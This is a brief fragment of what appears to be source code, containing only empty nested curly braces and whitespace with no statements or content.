    {

    }

}
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